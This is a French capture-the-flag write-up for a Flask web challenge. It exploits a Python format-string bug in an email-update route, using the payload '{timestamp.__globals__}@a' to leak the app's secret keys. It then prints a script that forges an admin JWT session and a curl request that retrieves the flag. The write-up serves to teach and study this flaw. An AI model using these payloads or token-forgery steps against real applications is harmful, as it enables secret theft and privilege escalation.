Énoncé

knock knock…

http://chal.competitivecyber.club:1337

Author: sans909

Aperçu

Pour ce challenge web, voici les fichiers sources fournis :

.
├── build-docker.sh
├── challenge
│   ├── app.py
│   ├── blueprints
│   │   ├── api_routes.py
│   │   └── web_routes.py
│   ├── config.py
│   ├── database.py
│   ├── requirements.txt
│   ├── run.py
│   ├── static
│   ├── templates
│   │   ├── 403.html
│   │   ├── 404.html
│   │   ├── admin.html
│   │   ├── base.html
│   │   ├── home.html
│   │   ├── login.html
│   │   ├── personal-logs.html
│   │   ├── register.html
│   │   └── update-email.html
│   └── util.py
├── config
│   └── supervisord.conf
├── Dockerfile
└── entrypoint.sh

5 directories, 21 files

Le site web possède une page de connexion et d’enregistrement. On peut créer un compte et se connecter. Une fois connecté on a accès à des éléments supplémentaires :

  • /home
  • /update-email
  • /update-logs
  • /logout

Seulement deux semblent intéressantes : /update-email et /update-logs. La première page permet comme son nom l’indique de modifier son adresse email et la deuxième contient les logs sur la modification de l’adresse email.

Pour récupérer le flag, il semble falloir obtenir le role admin, puisque le flag placé dans la variable d’environnement FLAG est retourné sur la route /admin. Celle-ci seulement accessible pour les utilisateurs avec le role admin.

@web.route('/admin')
@is_admin
def admin_home():
    flag = current_app.config['FLAG']
    return render_template('admin.html', flag=flag)

Résolution

Pour résoudre ce challenge, il y a deux solutions possibles. La première, celle qui est attendue est de leak deux clés secrètes permettant de forger un token et de les utiliser pour en créer un avec le role admin. La seconde et de leak directement le flag avec un payload un peu plus long.

Python format string vulnerabilities

Pour leak les informations dont nous voulons, il va falloir utiliser un bug concernant les formats string en python. En effet il est possible d’injecter des expressions lorsqu’une fstring est utilisée avec la méthode format sur la même chaîne de caractères.

En regardant au niveau de la route /update-email dans le fichier api_routes.py :

@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
    if not request.is_json:
        return abort(400, 'Invalid POST format!')
    data = request.get_json()
    new_email = data.get('email', '')
    if not is_valid_email(new_email):
        return abort(401, 'Invalid Email')
    # Get old email address
    token = session.get('auth')
    decoded_token = verify_JWT(token)
    old_email = decoded_token["email"]
    # Logging Data
    time = datetime.now()
    update_date = time.strftime("%Y-%m-%d %H:%M:%S")
    log_text = f"Email updated to {new_email} at {update_date}"
    log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
    # Update users
    call_procedure("update_user_email", (old_email, new_email))
    # Insert Logs
    log_text = escape_html(log_text)
    call_procedure("insert_log", (new_email, log_text))
    # Log out of the page
    session['auth'] = None
    return redirect(url_for('web.logout'))

On s’aperçoit qu’une fstring et une méthode format sont utilisées sur la même chaîne de caractères, au niveau de log_text. Trois valeurs sont passées par la méthode format : new_email, timestamp et update_date. Cependant une seule semble intéressante : timestamp. Les autres sont des objets str ce qui n’est pas intéressant, tandis que timestamp correspond à une fonction située dans util.py :

from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re

def generate_key(x): return os.urandom(x).hex()

FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)

[...]

def timestamp():
    return datetime.now()

Dans ce script se trouve les deux clés secrètes permettant de forger un token avec le role admin. Il est possible de les leaks puisque ce sont des variables globales et qu’ils sont accessibles avec __globals__ depuis timestamp. Voici le payload à passer pour leak les secrets : {timestamp.__globals__}@a.

À noter que la valeur à envoyer doit valider cette condition placée dans is_valid_email() :

email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
if re.fullmatch(email_regex, email, re.IGNORECASE):
    return True
return False

Résultat :

Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d', 
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7', 
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19

Bonus : Il est possible de récupérer directement le flag, en passant par le module os puisqu’il est importé dans le fichier util.py et de lire la variable d’environnement FLAG grâce à ce payload: {timestamp.__globals__['os'].environ['FLAG']}.

Forger un token admin

Une fois les deux secrets obtenus, la création d’un token admin est possible. Voici un script permettant de faire ça :

import datetime
import jwt
from flask import Flask, session, request

# FLASK_SECRET_KEY and jwt_key leak
# {timestamp.__globals__}@a

app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SECRET_KEY'] = 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d'
jwt_key = '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7'

def create_JWT(email: str, role='regular'):
    utc_time = datetime.datetime.now(datetime.timezone.utc)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {'email': email, 'exp': token_expiration, 'role': role}
    encoded = jwt.encode(data, jwt_key, algorithm='HS256')
    return encoded

@app.route('/')
def get_token():
    email = request.args.get('email') if request.args.get('email') else '[email protected]'
    role = request.args.get('role') if request.args.get('role') else 'admin'
    session['auth'] = create_JWT(email, role)
    return '<script>document.write(document.cookie)</script>'

app.run()

Je ne me suis pas embêté, j’ai c/p la fonction create_JWT() et les deux clés récupérées précédemment.

Résultat :

session=.eJxFzMsKgkAYhuF78QLEU5YtS5RfUDHN0yacUXF0RoTRaozuPV21-DYvH89Hqpa5k85SI7wOuZiExIP7CmpAgMN4O-ArmDBMeXr1LHk7UZQ5E9ojcwaU0SVygyfKL7R2qVLlJS10SsoclkJ7q8WOsNTYET_BIlhB2yZ88SKYWbyM_w6Mimz4TeoAZ1x9hLXZJjw6xqPbNGEr5r4PDL1WEu1k22wypO8PPjc_Hg.ZvMXNw.B3RDEy103cr1ZjNcEvk6aiVTzv4

Exploitation

Il ne manque plus qu’à utiliser le cookie généré et récupérer le flag :

$ curl -H "Cookie:
 session=.eJxFzEsOgjAUQNG9sAACqCQ4QxLwoVSUX2FGK5FCSwg_BePelZHTm5vzlvJxKKW9VMxuSRz
KLsyFaAEVMeihue2oBTrULY4t15B_EyeJ3ZI1CrsmCR-vDpoIPvC7w5UcZzzdcJZhGFPtpaYrIuLtingh
ndECGlpqFc1PRoXRZ8HfgUaRhSmGU-AXFIe62UxdB2c_MQbPL_GoWOxhiyLxlOq4VJH0-QJDVT_K.ZvMa
FQ.SeRPsegU7phX7Hdjx20Q8SZ1G8s" http://chal.competitivecyber.club:1337/admin

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Page</title>
</head>
<body>
    <h1>Admin Page</h1>
    
        <p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
    
</body>
</html>

FLAG : pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}

Références